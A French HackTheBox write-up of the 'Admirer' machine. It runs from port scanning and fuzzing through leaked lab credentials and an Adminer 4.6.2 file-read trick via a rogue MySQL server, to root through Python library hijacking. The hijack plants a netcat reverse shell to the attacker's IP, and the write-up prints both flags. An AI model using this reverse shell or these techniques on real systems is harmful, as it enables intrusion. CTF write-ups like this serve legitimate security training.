---
# System prepended metadata

title: '**HACK**THE**BOX** *Admirer Writeup*'
tags: [HTB, Cyber, Hacking, Admirer, HackTheBox]

---

# **HACK**THE**BOX** *Admirer Writeup*
:::info
Auteur : Victor WAUQUIER
Date : 29/09/2020
:::
###### tags: `HTB` `HackTheBox` `Cyber` `Admirer` `Hacking`

### Infos HTB
**Box:** Admirer
**Difficulty:** Medium
**IP:** 10.10.10.187

---

[ToC]

---

## Recon

### nmap

Début de cette phase avec l'outil `nmap`, l'objectif est de connaitre les technologie (`-sC`) utilisé et leurs versions (`-sV`) : ```nmap -sC -sV -p- 10.10.10.187```

![](https://i.imgur.com/I7SY5Nk.png)

Avec ce scan 3 services sont présent: 
* Un service **FTP** vsftpd 3.0.3
* Un service **SSH** OpenSSH 7.4p1
* Un service **WEB** Apache 2.4.25

Nous relançons un scan avec le script des vulnérabilitées:

``nmap -sC -sV -p- --script vuln 10.10.10.187``

**tcp | ssh :**
![](https://i.imgur.com/fdl5DOf.png)
**http :**
![](https://i.imgur.com/xY6ZXFq.png)
Nous obtenons de nombreux CVE mais rien d'exploitable réelement.

### FTP anonyme
Nous allons donc tester dans un premier temps de nous connecter au service ftp en **anonyme**.
``ftp 10.10.10.187``
![](https://i.imgur.com/rD5jBW7.png)
:::danger
Aucun droit sur la connexion en anonyme.
:::
### apache
Nous allons nous concentrer sur le service apache.
Si l'on se référe au fichier ou au information qu'il faut analyser sur un serveur web, c'est bien le robot.txt.
Nous avons effectivement un accés sur le fichier robots.txt à l'adresse suivante :
* http://10.10.10.187/robots.txt
:::spoiler
```
('User-agent: *
This folder contains personal contacts and creds, 
so no one -not even robots- 
should see it - waldo
Disallow: /admin-dir')
```
:::
Ce fichier **robots.txt** nous donne la présence d'un dossier **amin-dir**
### wfuzz
Nous allons donc faire un fuzzing sur http://10.10.10.187/admin-dir
```bash
wfuzz -c -w /usr/share/wordlists/dirb/big.txt -z list,txt-php-html -u http://10.10.10.187/admin-dir/FUZZ.FUZ2Z --hc 404,403
```

cela nous retourne le résultat suivant:
![](https://i.imgur.com/km2L9CK.png)

Nous obtenons deux fichiers **contacts.txt** et **credentials.txt**
* http://10.10.10.187/admin-dir/contacts.txt
:::spoiler
```
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb


##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb


#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb
```
:::

* http://10.10.10.187/admin-dir/credentials.txt
:::spoiler
```
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!
```
:::
## Foothold
### FTP
Grâce au fichier **credentials.txt** on obtient des identifiants ftp. Nous retournons alors sur la connexion ftp:
:::info
**FTP account:**
ftpuser
%n?4Wz}R$tTF7
:::
![](https://i.imgur.com/HtckOkI.png)
:::spoiler
```bash
ftp 10.10.10.187
connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:griff): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to trasfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
- rw-r--r-  1 0    0     3405 dec 02 2019 dump.sql
- rw-r--r-  1 0    0  5270987 dec 03 2019 html.tar.gz
```
:::
On veut alors récupérer les deux fichier **dump.sql** et **html.tar.gz**
* ``get dump.sql``
* ``get html.tar.gz``

### Backup files
Suite à l'extraction du document html.tar.gz (```bash
tar xfvz html.tar.gz```) nous obtenons une suite de fichier interresant:
![](https://i.imgur.com/z6BtwVw.png)
Si l'on commence par observer le contenue du fichier **index.php** nous récupérons un couple identifianr/mot de passe dans la base de donnée "admirerdb"
![](https://i.imgur.com/QC4si6J.png)
:::info
Username : waldo
Password : ]F7jLHw:*G>UPrTo}~A"d6b
Dbname : admirerdb
:::
:::warning
:warning: Dans le document **db_admin.php** on retrouve un couple identifiant / mot de passe différent:
:::
![](https://i.imgur.com/mHVkD1b.png)
:::info
Username : waldo
Password : Wh3r3_1s_w4ld0?
:::

Un commentaire dans le fichier **db_admin.php** indique 
> // TODO: Finish implementing this or find a better open source alternative

Cela signifie donc que la solution adopter pour avoir une base de donnée, serais une solution open source. De plus parmis les fichiers:
* phptest.php
* info.php
* db_admin.php
* admin_task.php

Seul le fichier **db_admin.php** n'est pas accessible.

### wfuzz
Avant de passer au recherche de solution open source nous pouvons nous interroger sur notre premier **wfuzz** avec le dossier **/admin-dir/** et l'executer sur **/utility-scripts/** que l'on retrouvait dans les fichier de notre archive **html.tar.gz**

```bash
wfuzz -c -w /usr/share/wordlists/dirb/big.txt -z list,txt-php-html -u http://10.10.10.187/utility-scripts/FUZZ.FUZ2Z --hc 404,403
```
![](https://i.imgur.com/cUqIJJL.png)

Cela nous a donc retourné les page suivante:
* http://10.10.10.187/utility-scripts/adminer.php
* http://10.10.10.187/utility-scripts/info.php
* http://10.10.10.187/utility-scripts/phptest.php

Nous ouvrons la page **adminer.php** et constatons qu'il sagit d'une solution open source concernant les bases de données.
### Adminer
![](https://i.imgur.com/9XDivxA.png)

Nous avons alors utilisé les mots de passe récupéré dans les différents fichiers mais aucun ne fonctionne..
Il faut donc chercher des vulnérabilité présent sur **adminer4.6.2**

#### Exploit

Une des vulnérabilités sur la version 4.6.2 consiste à crée une base de donnée et d'y importer la base de donnée admirerdb.
https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool

```sql
CREATE DATABASE admirer;
CREATE USER ‘griff’@’%’ IDENTIFIED BY ‘griff_admirer’;
GRANT ALL PRIVILEGES ON * . * TO 'griff'@'%';
CREATE TABLE test (data varchar(1000));
```
On retourne ensuite sur la page **adminer.php** pour ce connecter à notre base de donnée soit:
:::info
Server : 10.10.15.39
Username : griff
Password : griff_admirer
Database : admirer
:::
Une fois l'entrer dans notre base, nous allons executer du code SQL dans notre table test:
```sql
load data local infile '../index.php'
into table test
fields terminated by "\n"
```
Le contenue du fichier index.php sera alors le contenue de la base de donnée actuelle et non celle de la backup.
![](https://i.imgur.com/HqSgney.png)
:::info
Username : waldo
Password : &<h5b~yK3F#{PaPB&dA}{H>
DBname : adminerdb
:::
On peut ensuite se connecter à la base de donnée mais rien de concluant, si on récapitule nos actions nous avons:
- [x] ftp
- [ ] ssh
- [x] apache

Il nous reste donc l'exploitation du SSH.
### SSH
Nous gardons l'utilisateur **waldo**, sur la liste des mots de passe trouvé, un seul fonctionne.
- [ ] ]F7jLHw:*G>UPrTo}~A"d6b
- [ ] Wh3r3_1s_w4ld0?
- [x] **&<h5b~yK3F#{PaPB&dA}{H>**

On fait donc:
```
ssh waldo@10.10.10.187
waldo@10.10.10.187's password:

waldo@admirer:~$ id
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins)
waldo@admirer:~$ ls
linpeas.sh user.txt
waldo@admirer:~$ cat user.txt
3053dcdbe21e85ee9339a65dbe6e8c59
```
:::success
user.txt:
3053dcdbe21e85ee9339a65dbe6e8c59
:::

## PrivEsc
### Recon

La premiére chose à faire c'est d'exécuter la commande `sudo -l`
```
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always
User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh
```
**Waldo** peut éxecuter le fichier admin_task.sh en tant que **root**
Le script ne contient donc que les chemins absolus, empêchant de changer le programme exécuter en modifiant PATH.
Il n'y a également pas de valeurs codé en dur.

En revanche on retrouve une ligne qui apelle un fichier, ce fichier se trouve dans le même répertoire que admin_task.sh, la ligne en question est : ```/opt/scripts/backup.py```
```python=
#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)
```
Dans ce fichier on se retrouve confronté au même problème, des chemins ne pouvant pas altérer le PATH, en revanche le script python crée une archive grâce au paquet shutil..

### Library Hijacking
Les librairies python dépende de *PYTHONPATH* il est donc possible de détourner l'execution de `/opt/scripts/backup.py` pour exécuter du code arbritraire avec des privilèges élevés.
En recherchant des techniques d'élévation de privilèges à partir des librairies python nous sommes tombé sur ce lien:
https://rastating.github.io/privilege-escalation-via-python-library-hijacking/

Nous pouvons utiliser une commande pour connaitre le chemin d'accés de nos library:
```python
python -c 'import sys; print "\n".join(sys.path)'
```
![](https://i.imgur.com/LMTBGqX.png)
:::spoiler
```bash
python -c 'import sys; print "\n".join(sys.path)'
/usr/lib/python35.zip
/usr/lib/python3.5
/usr/lib/python3.5/plat-x86_64-linux-gnu
/usr/lib/python3.5/lib-dynload
/usr/local/lib/python3.5/dist-packages
/usr/lib/python3/dist-packages
```
:::
Maintenant que nous avons nos chemins nous allons crée notre programme python qui s'appellera `shutil.py` qui sera dans `/tmp/lib/` 

> répertoire dans lequelle nous pourrons enregistrer notre script avec les droit de waldo
```python3=
#!/usr/bin/python3
import os

os.system(“nc 10.10.15.39 7777 -e ‘/bin/sh’”)
```

De notre coté nous allons écouter les connexions entrantes sur notre machine avec `netcat`:
```bash
nc -lvnp 7777
```
On execute ensuite le script `admin_task.sh` en modifiant le **PYTHONPATH** avec notre chemin vers `/tmp/lib/`:
```bash
sudo PYTHONPATH=/tmp/./opt/scripts/admin_task.sh
```
![](https://i.imgur.com/0lFRCWJ.png)
:::spoiler
```bash
nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.15.39] from (UNKNOWN) [10.10.10.187] 39584
ls
shutil.py
vmware-root
id
uid=0(root) gid=0(root) groups=0(root)
cd
ls
root.txt
cat root.txt
cfe1c10fdfce47e71a7fbe387c9441dd
```
:::
On obtient ensuite le fichier **root.txt**:
:::success
root.txt:
cfe1c10fdfce47e71a7fbe387c9441dd
:::